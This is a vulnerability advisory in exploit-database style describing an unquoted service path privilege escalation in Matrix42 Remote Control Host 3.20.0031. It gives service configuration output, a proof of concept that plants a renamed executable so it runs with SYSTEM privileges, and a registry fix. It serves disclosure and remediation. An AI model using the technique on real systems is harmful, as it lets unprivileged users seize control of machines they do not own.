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Matrix42 Remote Control Host 3.20.0031 - Unquoted Path Privilege Escalation
[# Exploit Title: Matrix42 Remote Control Host - Unquoted Path Privilege Escalation
# Date: 06-05-2016
# Exploit Author: Roland C. Redl
# Vendor Homepage: https://www.matrix42.com/
# Software Link: n/a
# Version: 3.20.0031
# Tested on: Windows 7 Enterprise SP1 x64
# CVE : n/a
1. Description:
>sc qc FastViewerRemoteProxy
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: FastViewerRemoteProxy
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 4 DISABLED
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastProxy.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : FastViewer Proxyservice
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
>sc qc FastViewerRemoteService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: FastViewerRemoteService
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastRemoteService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : FastViewer Remoteservice
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
The unquoted path could potentially allow an authorized but non privileged local user to execute arbitrary code with elevated privileges on the system.
2. Proof of concept:
Copy notepad.exe to "C:\Program Files (x86)\Matrix42\" and rename it to "Remote.exe".
Restart the service or the machine and Remote.exe will start with SYSTEM privileges.
3. Solution:
To fix it manually, open regedit, browse to HKLM\SYSTEM\CurrentControlSet\services and add the quotes to the ImagePath value of the relevant service.
# 0day.today [2024-10-06] #